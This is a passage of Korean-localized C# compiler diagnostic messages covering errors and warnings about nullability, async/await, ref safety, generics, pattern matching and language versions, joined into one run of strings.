않습니다. + 분해 변수는 참조 로컬로 선언할 수 없습니다. + 이 호출을 대기하지 않으므로 호출이 완료되기 전에 현재 메서드가 계속 실행됩니다. + extern 별칭 선언을 제외하고 using 절은 네임스페이스에 정의된 다른 모든 요소보다 앞에 와야 합니다. + 인수 {0} 'ref readonly' 매개 변수에 전달되므로 변수여야 합니다. + await' 연산자는 비동기 메서드 내에서만 사용할 수 있습니다. 'async' 한정자로 이 메서드를 표시하고 해당 반환 형식을 'Task<{0}>'로 변경하세요. + 정적 멤버 '{0}'을(를) 'readonly'로 표시할 수 없습니다. + 고정 버퍼에는 1차원만 사용할 수 있습니다. + UnscopedRefAttribute는 'scoped' 한정자가 있는 매개 변수에 적용할 수 없습니다. + 가능한 null 값을 unboxing합니다. + '{1}' 형식의 값은 '{2}' 형식의 'null'과 같을 수 없으므로 식 결과는 항상 '{0}'입니다. + 변수 + '{0}' 형식의 값에 있는 참조 형식 Null 허용 여부가 '{1}' 대상 형식과 일치하지 않습니다. + '{0}' 별칭은 형식을 참조하므로 '::'과 함께 사용할 수 없습니다. 대신 '.'를 사용하세요. + 병합 충돌 표식을 발견했습니다. + Friend 어셈블리 참조 '{0}'이(가) 잘못되었습니다. InternalsVisibleTo 선언에는 버전, 문화권, 공개 키 토큰 또는 프로세서 아키텍처를 지정할 수 없습니다. + ref 매개 변수를 통해 '{0}' 참조로 매개 변수를 반환할 수 없습니다. return 문에서만 반환될 수 있습니다. + 최상위 문을 사용하는 프로그램은 실행 파일이어야 합니다. + 참조로 로컬의 멤버를 반환하지만 참조 로컬이 아닙니다. + 빈 문자 리터럴입니다. + 'class', 'struct', 'unmanaged', 'notnull' 및 'default' 제약 조건은 결합되거나 중복될 수 없으며 제약 조건 목록에서 먼저 지정되어야 합니다. + '{0}'은(는) 이미 어셈블리이므로 이 어셈블리에 추가할 수 없습니다. + switch 식에 적합한 형식이 없습니다. + netmodule에 대해 공개 서명이 지원되지 않습니다. + '{0}'은(는) '{2}' 형식에 대한 인터페이스 목록에 '{1}'(으)로 이미 나열되어 있습니다. + ref 할당의 왼쪽은 ref 변수여야 합니다. + 필드 또는 속성은 '{0}' 형식일 수 없습니다. + 분해의 왼쪽에 튜플 요소 이름을 사용할 수 없습니다. + 람다 식 트리에는 메서드 그룹을 사용할 수 없습니다. + 'enable', 'disable' 또는 'restore'가 필요합니다. + 식에 nullable 참조 형식 '{0}'을(를) 사용하는 것은 올바르지 않습니다. 대신 기본 형식 '{0}'을(를) 사용하세요. + '{0}'은(는) 'System.Nullable<T>'의 멤버이므로 대리자를 바인딩할 수 없습니다. + 메서드 + '{0}'의 partial 선언은 형식 매개 변수 이름과 그 순서가 같아야 합니다. + __arglist는 'in' 또는 'out'으로 전달되는 인수를 가질 수 없습니다. + '{0}' 문자를 이 위치에 사용할 수 없습니다. + await' 연산자는 비동기 {0} 내에서만 사용할 수 있습니다. 'async' 한정자로 이 {0}을(를) 표시하세요. + ref' 확장 메서드 '{0}'의 첫 번째 매개 변수는 값 형식이거나 구조체의 제약을 받는 제네릭 형식이어야 합니다. + '{0}'과(와) 함수 포인터 '{1}' 사이의 참조 불일치 + '{0}'을(를) 호출 규칙 한정자로 사용할 수 없습니다. + 이론적 의미 체계 모델 연결은 지원되지 않습니다. 비이론적 ParentModel에서 이론적 모델을 만들어야 합니다. + 프로그램에 진입점이 두 개 이상 정의되어 있습니다. /main으로 컴파일하여 진입점이 포함된 형식을 지정하세요. + 확장 부분 메서드 + '{0}' 기능은 C# 8.0에서 사용할 수 없습니다. 언어 버전 {1} 이상을 사용하세요. + '{0}' 기능은 C# 7.2에서 사용할 수 없습니다. {1} 이상의 언어 버전을 사용하세요. + '{0}' 기능은 C# 7.3에서 사용할 수 없습니다. {1} 이상의 언어 버전을 사용하세요. + '{0}' 기능은 C# 7.1에서 사용할 수 없습니다. {1} 이상의 언어 버전을 사용하세요. + 이 컨텍스트에서 변수를 사용하면 선언 범위 외부에서 참조된 변수가 노출될 수 있습니다. + 보간된 문자열이 필요합니다. + '{0}' 파일의 '{1}' XML 조각을 포함할 수 없습니다. {2} + 인라인 배열 변환 연산자는 선언 형식의 식에서 변환하는 데 사용되지 않습니다. + '{1}' 모듈에서 내보낸 '{0}' 형식이 '{3}' 모델에서 내보낸 '{2}' 형식과 충돌합니다. + 문자열 'Null' 상수는 '{0}'에 대한 패턴으로 지원되지 않습니다. 대신 빈 문자열을 사용하세요. + 진입점은 제네릭 또는 제네릭 형식일 수 없습니다. + '{0}'에 적합한 정적 Main 메서드가 없습니다. + 필드 '{0}'이(가) 명시적으로 할당되기 전에 제어가 호출자에게 반환되어 이전에 'default'가 암시적으로 할당됩니다. + 단일 요소 분해 패턴은 명확성을 위해 다른 구문이 필요합니다. 닫는 괄호 ')' 뒤에 무시 항목 지정자 '_'을 추가하는 것이 좋습니다. + '{0}'의 정규화된 이름이 디버그 정보로는 너무 깁니다. '/debug' 옵션 없이 컴파일됩니다. + 제어가 호출자에게 반환되기 전에 구조체의 필드는 생성자에서 완전히 할당되어야 합니다. 필드를 자동 기본값으로 설정하도록 언어 버전을 업데이트하는 것이 좋습니다. + 선택적 매개 변수는 모든 필수 매개 변수 다음에 와야 합니다. + 경고에서 오류를 재정의합니다. + 이 레이블은 참조되지 않았습니다. + '{0}' 변수가 선언되었지만 사용되지 않았습니다. + 제네릭 {1} '{0}'을(를) 사용하려면 {2} 형식 인수가 필요합니다. + 'UnmanagedCallersOnly' 메서드 '{0}'은(는) '{2}' 유형의 인터페이스 멤버 '{1}'을(를) 구현할 수 없습니다. + #endif 지시문이 필요합니다. + goto는 using 선언 뒤 위치로 이동할 수 없습니다. + 현재 메서드는 Task 또는 Task<TResult>를 반환하는 비동기 메서드를 호출하므로 await 연산자를 결과에 적용하지 않습니다. 비동기 메서드를 호출하면 비동기 작업이 시작됩니다. 그러나 await 연산자가 적용되지 않으므로 작업이 완료될 때까지 기다리지 않고 프로그램이 계속 진행됩니다. 대부분의 경우 이 동작은 예상과 다릅니다. 일반적으로 호출 메서드의 다양한 측면에 따라 호출 결과가 달라지며, 최소한 호출을 포함하는 메서드에서 반환되기 이전에 호출된 메서드가 완료되어야 합니다. + +호출된 비동기 메서드에서 발생하는 예외에 대해 발생하는 문제도 중요합니다. Task 또는 Task<TResult>를 반환하는 메서드에서 발생하는 예외는 반환된 작업에 저장됩니다. 작업을 대기하지 않거나 예외를 명시적으로 확인하지 않을 경우 예외가 손실됩니다. 작업을 대기하면 예외가 다시 발생합니다. + +따라서 항상 호출을 대기하는 것이 좋습니다. + +비동기 호출이 완료되는 동안 대기하지 않고 호출된 메서드가 예외를 발생하지 않는 경우에만 이 경고를 무시해야 합니다. 이 경우 호출의 작업 결과를 변수에 할당하여 경고를 무시할 수 있습니다. + 쿼리 식 + 레코드 멤버 '{0}'은(는) 보호되어야 합니다. + '{0}' 특성에 대해 잘못된 인수 값입니다. + 알 수 없는 어셈블리는 프로세서의 특정 모듈('{0}')을 포함할 수 없습니다. + 형식 지정자는 후행 공백을 포함할 수 없습니다. + UnscopedRefAttribute는 기본적으로 범위가 지정되지 않으므로 이 매개 변수에 적용할 수 없습니다. + '{0}' 형식은 대상 형식 new()로 사용할 수 없습니다. + InterpolatedStringHandlerArgumentAttribute 인수는 특성이 사용되는 매개 변수를 참조할 수 없습니다. + 변수가 할당되었지만 해당 값이 사용되지 않았습니다. + add 또는 remove 접근자에는 본문이 있어야 합니다. + '명시적 메서드 구현에서 '{0}'은(는) 접근자이므로 '{1}'을(를) 구현할 수 없습니다. + 멤버가 런타임에 여러 개의 일치 항목을 포함하는 인터페이스 멤버를 구현합니다. + XML 주석에는 '{0}'에 중복된 param 태그가 있습니다. + '{0}' 열거자 이름은 예약된 것이므로 사용할 수 없습니다. + 람다 식 트리에는 사전 이니셜라이저가 포함될 수 없습니다. + 보간된 원시 문자열 리터럴을 시작하는 '$' 문자가 부족해 이렇게 많은 연속 닫는 중괄호를 콘텐츠로 사용할 수 없습니다. + 인라인 배열 'Slice' 메서드는 요소 액세스 식에 사용되지 않습니다. + '{0}' 멤버는 액세스 가능한 멤버를 숨기지 않으므로 new 키워드가 필요하지 않습니다. + 명명된 인수 사양은 동적 호출에서 모든 고정 인수를 지정한 다음에 와야 합니다. + '{0}': 정적 형식은 매개 변수로 사용할 수 없습니다. + #pragma 경고 전처리기 지시문에 전달된 번호는 올바른 경고 번호가 아닙니다. 번호가 오류가 아닌 경고를 나타내는지 확인하세요. + catch 블록 및 finally 블록의 await + 반환 형식에서 참조 형식의 Null 허용 여부가 대상 대리자와 일치하지 않습니다(Null 허용 여부 특성 때문일 수 있음). + '{0}': 진입점은 제네릭 또는 제네릭 형식일 수 없습니다. + '{0}'은(는) '{1}' 인터페이스 멤버를 구현하지 않습니다. + '{0}'에는 '{1}'에 대한 정의가 포함되어 있지 않고, 가장 적합한 확장 메서드 오버로드 '{2}'에는 '{3}' 형식의 수신기가 필요합니다. + #r은 스크립트에서만 허용됩니다. + 유추된 형식 인수가 있는 제네릭 로컬 함수 '{0}'에 동적 형식의 인수를 전달할 수 없습니다. + #line 지시문 끝 위치는 시작 위치보다 크거나 같아야 합니다. + 구문 트리가 이미 있습니다. + 기본 생성자 매개 변수가 기본의 멤버에 의해 섀도됩니다. + 제어가 호출자에게 반환되기 전에 자동 구현 속성 '{0}'이(가) 완전히 할당되어야 합니다. 속성을 자동으로 기본 설정하려면 언어 버전 '{1}'(으)로 업데이트하는 것이 좋습니다. + 할당되지 않은 필드 사용. 필드를 자동 기본값으로 설정하도록 언어 버전을 업데이트하는 것이 좋습니다. + null 가능 참조에 대한 역참조입니다. + 잘못된 출력 이름: {0} + ComImport 특성이 있는 클래스에는 사용자 정의 생성자를 사용할 수 없습니다. + CollectionBuilderAttribute 메서드 이름이 잘못되었습니다. + 이 메서드는 참조로 반환하므로 반환 식은 '{0}' 형식이어야 합니다. + 읽기 전용 형식의 기본 생성자 '{0}' 매개 변수의 멤버는 ref 또는 out 값으로 사용할 수 없습니다(형식의 init 전용 setter 또는 변수 이니셜라이저 제외). + 자동 구현 속성은 접근자를 가져와야 합니다. + '{0}' 식별자가 CLS 규격이 아닙니다. + ++ 또는 -- 연산자에 대한 반환 유형은 매개 변수 유형과 일치하거나 매개 변수 유형에서 파생되거나 매개 변수 유형이 다른 유형 매개 변수가 아닌 경우 포함하는 유형의 유형 매개 변수로 제한됩니다. + 인라인 배열 변환 연산자는 선언 형식의 식에서 변환하는 데 사용되지 않습니다. + '{0}'에 대한 디버그 정보 읽기 오류 + 식 트리에는 ref struct 값 또는 제한된 형식 '{0}'을(를) 사용할 수 없습니다. + 정적 클래스는 소멸자를 포함할 수 없습니다. + 매개 변수 '{0}'은(는) 매개 변수 '{1}'의 보간된 문자열 처리기 변환에 대한 인수이지만 해당 인수는 보간된 문자열 식 뒤에 지정됩니다. '{1}' 이전에 '{0}'을(를) 이동하도록 인수를 재정렬하세요. + 지정된 식은 항상 제공된 ('{0}') 형식입니다. + 소스 파일 참조는 지원되지 않습니다. + 매개 변수의 참조 종류 한정자가 숨겨진 멤버의 해당 매개 변수와 일치하지 않습니다. + '{0}': 정적 형식은 반환 형식으로 사용할 수 없습니다. + partial 구조체 '{0}'의 여러 선언에서 필드 간 순서가 정의되어 있지 않습니다. 순서를 지정하려면 모든 인스턴스 필드가 같은 선언에 있어야 합니다. + 일관성 없는 액세스 가능성: '{1}' 인덱서 반환 형식이 '{0}' 인덱서보다 액세스하기 어렵습니다. + CLS 규격 필드는 volatile일 수 없습니다. + 축자가 아닌 보간된 문자열 내의 줄 바꿈은 C# {0}에서 지원되지 않습니다. {1} 이상의 언어 버전을 사용하세요. + 일관성 없는 액세스 가능성: '{1}' 매개 변수 형식이 '{0}' 메서드보다 액세스하기 어렵습니다. + 트리는 SyntaxKind.CompilationUnit을 사용하는 루트 노드여야 합니다. + 대입, 호출, 증가, 감소 및 새 개체 식만 문으로 사용할 수 있습니다. + '{0}' 매개 변수에 적용된 CallerFilePathAttribute는 선택적 인수를 허용하지 않는 컨텍스트에서 사용되는 멤버에 적용되므로 효과가 없습니다. + 이 컨텍스트에서는 params가 유효하지 않습니다. + 람다 식 트리에는 ref, in 또는 out 매개 변수를 사용할 수 없습니다. + 파일-로컬 형식 '{0}'은(는) 'global using static' 지시문에 사용할 수 없습니다. + '{0}' 형식은 'System.Collections.IEnumerable'을 구현하지 않으므로 컬렉션 이니셜라이저를 사용하여 초기화할 수 없습니다. + 포인터 형식에 대해 패턴 일치가 허용되지 않습니다. + '{0}' 형식의 식은 제공된 패턴과 항상 일치합니다. + '{0}' 기능은 현재 미리 보기로 제공되며 *지원되지 않습니다*. 미리 보기 기능을 사용하려면 '미리 보기' 언어 버전을 사용하세요. + 오버로드된 시프트 연산자의 첫 번째 피연산자는 포함하는 형식과 형식이 같아야 합니다. + 자동 속성 이니셜라이저 + '{0}' 리소스 파일을 읽는 동안 오류가 발생했습니다. '{1}' + 전처리기 지시문이 필요합니다. + 오버로드된 시프트 연산자의 첫 번째 피연산자는 포함하는 형식 또는 이에 대한 형식 매개 변수와 동일한 형식이어야 합니다. + 'await'는 '{0}' 형식이 포함된 식에 사용할 수 없습니다. + '{0}' 속성 또는 인덱서의 두 접근자에 대해 액세스 가능성 한정자를 지정할 수 없습니다. + 부분 메서드 선언에는 서명 차이가 있습니다. + 모듈 이니셜라이저 메서드 '{0}'은(는) 제네릭일 수 없고 제네릭 형식에 포함되지 않아야 합니다. + 튜플 요소 이름은 고유해야 합니다. + 언어 이름이 잘못되었습니다. + '{0}': 연산자나 접근자를 명시적으로 호출할 수 없습니다. + '{0}'은(는) extern일 수 없으며 생성자 이니셜라이저가 있으면 안 됩니다. + Nullable 값 형식이 null일 수 있습니다. + 자동 구현 속성은 참조로 반환할 수 없습니다. + 여러 줄 원시 문자열 리터럴은 축자 보간된 문자열에서만 사용할 수 있습니다. + 필요한 공백이 없습니다. + '{0}' netmodule에 대한 참조가 없습니다. + 할당되지 않은 필드 '{0}'을(를) 사용하고 있습니다. 필드를 자동으로 기본 설정하려면 언어 버전 '{1}'으로 업데이트하는 것이 좋습니다. + '{0}'은(는) 'Equals'를 정의하지만 'GetHashCode'는 정의하지 않습니다. + 작업하는 동안 스택 오버플로가 발생했습니다. + foreach 반복 변수 + '{0}': 재정의할 수 없습니다. '{1}'은(는) 이벤트가 아닙니다. + '{0}'에서 TypeForwardedToAttribute가 중복됩니다. + 고정 크기 버퍼의 길이는 0보다 커야 합니다. + 'await'는 비동기 메서드나 람다 식 내에서 식별자로 사용할 수 없습니다. + '{0}' 상수 값을 '{1}'(으)로 변환할 수 없습니다. 재정의하려면 'unchecked' 구문을 사용하세요. + 식별자가 CLS 규격이 아닙니다. + 사전 이니셜라이저 + C# 컴파일러의 내부 오류입니다. + 매개 변수 '{0}'에 적용된 CallerArgumentExpressionAttribute는 효과가 없습니다. CallerLineNumberAttribute에 의해 재정의됩니다. + 참조로 매개 변수를 반환하지만 현재 메서드로 범위가 지정됩니다. + 매개 변수 '{1}'이(가) null이 아니므로 매개 변수 '{0}'은(는) 종료할 때 null이 아닌 값을 가져야 합니다. + 보간된 문자열 + 코드 경로 중 일부에서만 '{1}' 형식의 {0}에 있는 값을 반환합니다. + 의도하지 않은 참조 비교가 있을 수 있습니다. 왼쪽을 캐스팅해야 합니다. + 기본 형식 '{0}'에 액세스 가능한 복사 생성자가 없습니다. + 이 매개 변수에 해당 하는 위치 멤버 '{0}'이(가) 숨겨집니다. + PermissionSet 특성에 대해 명명된 인수 '{1}'에 지정된 '{0}' 파일 경로를 확인할 수 없습니다. + 잘못된 숫자입니다. + 참조된 어셈블리 '{0}'에 다른 '{1}' 문화권 설정이 있습니다. + cref 특성에 모호한 참조가 있음 + 확장 메서드의 첫 번째 매개 변수는 '{0}' 형식이 될 수 없습니다. + 읽기 전용 참조 + '{0}'은(는) 지정한 컨텍스트에서 유효하지 않은 {1}입니다. + ref, out 또는 배열 차수만 다른 오버로드된 '{0}' 메서드는 CLS 규격이 아닙니다. + void' 매개 변수 형식이 잘못되었습니다. + 제네릭이 아닌 선언에는 제약 조건을 사용할 수 없습니다. + XML 주석에 잘못된 cref 특성 구문이 있습니다. + 무명 메서드 + nullable 참조 형식에 대한 주석은 코드에서 '#nullable' 주석 컨텍스트 내에만 사용되어야 합니다. + 식 트리에는 throw 식이 포함될 수 없습니다. + '{0}' 형식을 '{1}' 형식으로 변환할 수 없습니다. + 필터 식이 상수 'false'입니다. try-catch 블록을 제거해 보세요. + 명명된 인수 '{0}'을(를) 여러 번 지정할 수 없습니다. + 배열 형식 지정자인 []은 매개 변수 이름 앞에 사용해야 합니다. + '{0}'은(는) null을 허용하지 않는 값 형식이므로 null을 이 형식으로 변환할 수 없습니다. + 분석기 참조 '{0}'이(가) 여러 번 지정되었습니다. + 'partial' 한정자는 'class', 'record', 'struct', 'interface' 또는 메서드 반환 형식 바로 앞에만 올 수 있습니다. + '{1}' 일치하려면 메서드 '{0}' 제네릭이 아니어야 합니다. + 형식이 컬렉션 패턴을 구현하지 않습니다. 멤버가 공개 인스턴스 또는 확장 메서드가 아닙니다. + DefaultParameterValue 특성에 대한 인수 형식이 매개 변수 형식과 일치해야 합니다. + '{0}'의 대상 형식이 없습니다. + 잘못된 참조 별칭 옵션입니다. '{0}=' -- 파일 이름이 없습니다. + '{0}' 형식은 레코드의 필드에 사용할 수 없습니다. + 필드 또는 자동 구현 속성은 ref struct의 인스턴스 멤버인 경우 외에는 '{0}' 형식일 수 없습니다. + 잘못된 가변성: 언어 버전 '{4}' 이상을 사용하지 않는 한 '{0}'에서 형식 매개 변수 '{1}'이(가) {3}여야 합니다. '{1}'은(는) {2}입니다. + using 지시문은 이전에 전역 using으로 나타났습니다. + '{0}' 매개 변수에 적용되는 CallerArgumentExpressionAttribute는 선택적 인수를 허용하지 않는 컨텍스트에서 사용되는 멤버에 적용되므로 효과가 없습니다. + 명명된 인수 '{0}'은(는) 잘못된 위치에 사용되었지만 뒤에 명명되지 않은 인수가 옵니다. + 읽기 전용 필드 '{0}'의 멤버는 쓰기 가능 참조로 반환될 수 없습니다. + '{0}' 형식의 식을 동적으로 디스패치된 작업의 인수로 사용할 수 없습니다. + 소스 형식이 'dynamic'인 쿼리 식 또는 'dynamic' 형식의 조인 시퀀스가 포함된 쿼리 식은 사용할 수 없습니다. + '{0}' 옵션은 소스 파일 또는 추가된 모듈에 지정된 '{1}' 특성을 재정의합니다. + '{0}': 멤버 이름은 바깥쪽 형식과 같을 수 없습니다. + '{0}': 비동기 using 문에 사용된 형식은 암시적으로 'System.IAsyncDisposable'로 변환할 수 있거나 적합한 'DisposeAsync' 메서드를 구현해야 합니다. 'await using' 대신 'using'을 사용하시겠습니까? + ‘{0}’ 매개 변수는 매개 변수 목록에서 ‘{1}’ 다음에 나타나지만 보간된 문자열 처리기 변환을 위한 인수로 사용됩니다. 이렇게 하려면 호출자가 호출 사이트에서 명명된 인수를 사용하여 매개 변수를 재정렬해야 합니다. 관련된 모든 인수 뒤에 보간된 문자열 처리기 매개 변수를 넣는 것을 고려하세요. + 잘못된 해시 알고리즘 이름: '{0}' + 상황별 키워드 'var'는 지역 변수 선언이나 스크립트 코드에만 표시할 수 있습니다. + 식 트리는 정적 가상 또는 추상 인터페이스 구성원에 대한 액세스를 포함할 수 없습니다. + 잘못된 '{0}' 이미지 기준 번호입니다. + Windows Runtime 이벤트를 out 또는 ref 매개 변수로 전달할 수 없습니다. + '{0}' 형식의 인스턴스는 중첩된 함수, 쿼리 식, 반복기 블록 또는 비동기 메서드 내에서 사용할 수 없습니다. + '{0}'은(는) '{1}' 인터페이스 멤버를 구현하지 않습니다. '{2}'에 일치하는 반환 형식 '{3}'이(가) 없으므로 '{1}'을(를) 구현할 수 없습니다. + 인수는 'ref' 또는 'in' 키워드(keyword) 함께 전달해야 합니다. + 확장 속성 패턴 + {0} 절에 있는 식 중 하나의 형식이 잘못되었습니다. '{1}'에 대한 호출에서 형식을 유추하지 못했습니다. + XML 주석에 형식 매개 변수를 참조하는 cref 특성이 있습니다. + 파일-로컬 형식 '{0}'은(는) 접근성 한정자를 사용할 수 없습니다. + 기본 생성자 매개 변수 '{0}' 기본의 멤버에 의해 섀도입니다. + 메서드 이름이 필요합니다. + 무명 메서드, 람다 식 또는 쿼리 식에는 '{0}' 고정 로컬을 사용할 수 없습니다. + 동기 진입점 '{1}'을(를) 찾았으므로 '{0}' 메서드가 진입점으로 사용되지 않습니다. + 이 컨텍스트에는 __arglist를 사용할 수 없습니다. + 종료할 때 '{0}' 멤버는 null이 아닌 값을 가져야 합니다. + 요소는 null일 수 없습니다. + C# 기호가 아닙니다. + 메서드 그룹 '{0}'을(를) 비함수 포인터 형식 '{1}'(으)로 변환할 수 없습니다(&M). + '{0}': 정적 형식은 매개 변수로 사용할 수 없습니다. + 'using static' 또는 'using alias'만 'unsafe'일 수 있습니다. + '{1}' 모듈에서 내보낸 '{0}' 형식이 이 어셈블리의 주 모듈에서 선언된 형식과 충돌합니다. + switch 식에서 입력 형식의 가능한 값을 모두 처리하지는 않습니다(전체 아님). + 비관리형 생성된 형식 + 주소를 가져오거나, 크기를 가져오거나, 관리되는 형식에 대한 포인터를 선언합니다. + 지정한 버전 문자열 '{0}'이(가) 필요한 형식 major[.minor[.build[.revision]]]을 따르지 않습니다. + foreach 문은 '{1}'의 여러 인스턴스화를 구현하므로 '{0}' 형식의 변수에는 foreach 문을 수행할 수 없습니다. 특정 인터페이스 인스턴스화로 캐스팅하세요. + XML 주석에 param 태그가 있지만 해당 이름의 매개 변수는 없습니다. + 식별자가 필요합니다. + 패턴 일치 + 별칭 사용은 nullable 참조 형식일 수 없습니다. + CallerMemberNameAttribute는 CallerFilePathAttribute에 의해 재정의되므로 효과가 없습니다. + A collection expression of type '{0}' cannot be used in this context because it may be exposed outside of the current scope. + 파일 형식 + 식 트리에는 기본 액세스를 사용할 수 없습니다. + 매개 변수에는 '{0}' 한정자 하나만 사용할 수 있습니다. + goto 문의 범위 내에 '{0}' 레이블이 없습니다. + 안전하지 않은 코드는 /unsafe를 사용하여 컴파일하는 경우에만 나타날 수 있습니다. + '{0}'에 대한 호출로 반환된 참조는 'await' 또는 'yield' 경계에서 보존할 수 없습니다. + '{0}': 가상 또는 추상 멤버는 프라이빗일 수 없습니다. + CallerArgumentExpressionAttribute가 잘못된 매개 변수 이름으로 적용되었습니다. + 레코드의 위치 필드 + 읽기 전용 멤버 + 참조된 어셈블리의 문화권 설정이 다릅니다. + 확장 메서드 '{0}'의 첫 번째 'in' 또는 'ref readonly' 매개 변수는 제네릭이 아닌 구체적인 값 형식이어야 합니다. + 생성기 '{0}'이(가) 초기화하지 못했습니다. 출력에 기여하지 않으므로 컴파일 오류가 발생할 수 있습니다. 예외의 형식은 '{1}'이고 메시지는 '{2}'입니다. +{3} + '{0}'이(가) 단순 형식이 아니기 때문에 null 허용 매개 변수 '{1}'에 형식이 '{0}'인 값을 기본 매개 변수로 사용할 수 없습니다. + '{1}' 형식으로의 표준 변환이 없으므로 형식이 '{0}'인 값을 기본 매개 변수로 사용할 수 없습니다. + 매개 변수 '{0}' 유형의 참조 유형에 대한 Null 허용 여부가 가로챌 수 있는 메서드 '{1}'와 일치하지 않습니다. + '{0}'은(는) 필수 구성원 '{1}'을(를) 재정의하므로 필수여야 합니다. + '{0}'은(는) 추상이지만 비추상 형식인 '{1}'에 포함되어 있습니다. + 동적 + 가능한 null 참조 할당입니다. + 현재 메서드로 범위가 지정되어 있으므로 매개 변수 '{0}'의 멤버를 참조로 반환할 수 없습니다. + '{1}' 어셈블리의 '{0}' 모듈이 여러 어셈블리 '{3}' 및 '{4}'에 '{2}' 형식을 전달하고 있습니다. + #pragma warning 뒤에 'disable' 또는 'restore'가 필요합니다. + 형식 또는 메서드에 적용된 보안 특성에 대한 SecurityAction 값('{0}')이 잘못되었습니다. + '{0}'은(는) {1}이지만 {2}처럼 사용됩니다. + 레코드 멤버 '{0}'은(는) '{1}'을(를) 반환해야 합니다. + 전처리기 지시문은 줄에서 공백이 아닌 첫 번째 문자로 나타나야 합니다. + 필드 + 배열 + using 별칭 + 숫자 구분 기호 + 할당되지 않은 필드 '{0}'을(를) 사용하고 있습니다. 필드를 자동으로 기본 설정하려면 언어 버전 '{1}'으로 업데이트하는 것이 좋습니다. + is-type 식에 nullable 참조 형식 '{0}?'을(를) 사용하는 것은 올바르지 않습니다. 대신 기본 형식 '{0}'을(를) 사용하세요. + 종료할 때 '{0}' 매개 변수는 null이 아닌 값을 가져야 합니다. + 이벤트 + 이 항목의 '{0}' 한정자가 유효하지 않습니다. + 무시 항목 + '{0}' 키 파일에 서명에 필요한 프라이빗 키가 없습니다. + 레이블 + __arglist 식은 call 또는 new 식 내부에만 있어야 합니다. + '{0}' 알고리즘은 지원되지 않습니다. + 메서드에는 반환 형식이 있어야 합니다. + 형식 매개 변수 + 열거형은 명시적인 매개 변수가 없는 생성자를 포함할 수 없습니다. + '{0}'에는 'UnmanagedCallersOnly' 특성을 지정할 수 없으며 이 항목은 직접 호출할 수 없습니다. 이 메서드에 대한 함수 포인터를 가져오세요. + 두 부분 메서드 선언에는 동일한 접근성 한정자가 있어야 합니다. + 이 선언의 올바른 특성 위치가 아닙니다. + 해시를 만드는 동안 암호화 오류가 발생했습니다. + 이 메서드는 토큰을 만드는 데만 사용할 수 있습니다. {0}은(는) 토큰 종류가 아닙니다. + 이 특성에서는 '{0}' 멤버를 사용할 수 없습니다. + '{0}'은(는) 매개 변수 한정자 '{2}' 및 '{3}'만 다른 오버로드된 {1}을(를) 정의할 수 없습니다. + 함수 포인터 '{0}'은(는) 인수를 {1}개 사용하지 않습니다. + 중복 null 비표시 오류(Suppression) 연산자('!') + 형식에 있는 참조 형식 Null 허용 여부가 재정의된 멤버와 일치하지 않습니다. + '{0}' 이름이 현재 컨텍스트에 없습니다. '{1}' 어셈블리에 참조가 있는지 확인하세요. + base' 키워드는 현재 컨텍스트에서 사용할 수 없습니다. + '{0}' 지역 변수는 선언되지 않으면 사용할 수 없습니다. + 비동기 using + 요소 콘텐츠에는 ']]>' 리터럴 문자열이 허용되지 않습니다. + '{0}': 동적 인터페이스 '{1}'을(를) 구현할 수 없습니다. + 멤버 이니셜라이저 및 쿼리에서 식 변수 선언 + 대상 런타임이 참조 필드를 지원하지 않습니다. + '범위' 수정자 또는 '[UnscopedRef]' 특성의 차이로 인해 '{1}'을(를) 사용하여 '{0}'에 대한 호출을 가로챌 수 없습니다. + '{0}'의 부분 메서드(Partial method) 선언의 형식 매개 변수 '{1}'에 대한 제약 조건에 Null 허용 여부가 일관되지 않습니다. + 지정한 관리되지 않은 형식에 대한 매개 변수가 잘못되었습니다. + /REFERENCEPATH 옵션 + 식 트리에는 로컬 함수에 대한 참조를 포함할 수 없습니다. + 필드에 고유한 상수 값이 여러 개 있습니다. + {0} 버전 {1} + Copyright (C) Microsoft Corporation. All rights reserved. + 이 선언 형식에서는 '{0}' 보안 특성이 유효하지 않습니다. 보안 특성은 어셈블리, 형식 및 메서드 선언에서만 유효합니다. + using static + 현재 디버그 세션 중에 추가되는 '{0}' 멤버는 해당 선언 어셈블리 '{1}' 내에서만 액세스할 수 있습니다. + 파일에서 첫 토큰 뒤에 #load를 사용할 수 없습니다. + 형식 이름에는 소문자 ASCII 문자만 포함됩니다. 이러한 이름은 언어에 대해 예약될 수 있습니다. + 식 트리에는 out 인수 변수 선언을 사용할 수 없습니다. + XML 주석 cref 특성의 {0} 매개 변수에 대해 잘못된 형식입니다('{1}'). + 형식은 제네릭 형식 또는 메서드에서 형식 매개 변수로 사용할 수 없습니다. 형식 인수의 Null 허용 여부가 'class' 제약 조건과 일치하지 않습니다. + 일관성 없는 액세스 가능성: '{1}' 제약 조건 형식이 '{0}'보다 액세스하기 어렵습니다. + '{0}'은(는) abstract 및 sealed일 수 없습니다. + 예기치 않은 '{0}' 문자입니다. + '명명된 특성 인수 '{0}'이(가) 잘못되었습니다. 명명된 특성 인수는 readonly, static 또는 const가 아닌 필드이거나 static이 아닌 public 읽기/쓰기 속성이어야 합니다. + 인식할 수 없는 #pragma 지시문입니다. + '{0}' 정적 형식의 변수를 선언할 수 없습니다. + /link를 사용하여 어셈블리에 대한 참조를 추가했습니다(Interop 형식 포함 속성을 True로 설정). 이는 해당 어셈블리의 interop 유형 정보를 포함하도록 컴파일러에 지시합니다. 그러나 참조한 다른 어셈블리에서도 /reference를 사용하여 해당 어셈블리를 참조하므로 컴파일러에서 해당 어셈블리의 interop 형식 정보를 포함할 수 없습니다(Interop 형식 포함 속성을 False로 설정). + +두 어셈블리에 대한 interop 형식 정보를 포함하려면 각 어셈블리에 대한 참조에 대해 /link를 사용합니다(Interop 형식 포함 속성을 True로 설정). + +경고를 제거하려면 /reference를 대신 사용할 수 있습니다(Interop 형식 포함 속성을 False로 설정). 이 경우 PIA(주 interop 어셈블리)는 interop 형식 정보를 제공합니다. + 반환 유형에서 참조 유형의 Null 허용 여부가 가로챌 수 있는 메서드 '{0}'과(와) 일치하지 않습니다. + 식 본문 속성 접근자 + '{0}'은(는) == 연산자 또는 != 연산자를 정의하지만 Object.Equals(object o)를 재정의하지 않습니다. + 형식 인수 수가 잘못되었습니다. + '{0}'이(가) '{1}' 패턴을 구현하지 않습니다. '{2}'에 잘못된 시그니처가 있습니다. + 비동기 foreach의 경우 '{1}'의 반환 형식 '{0}'에 적합한 공용 'MoveNextAsync' 메서드 및 공용 'Current' 속성이 있어야 합니다. + 네임스페이스 선언에는 한정자 또는 특성을 사용할 수 없습니다. + '{0}': StructLayout(LayoutKind.Explicit)으로 표시된 형식의 인스턴스 필드에는 FieldOffset 특성이 있어야 합니다. + 추상 형식 또는 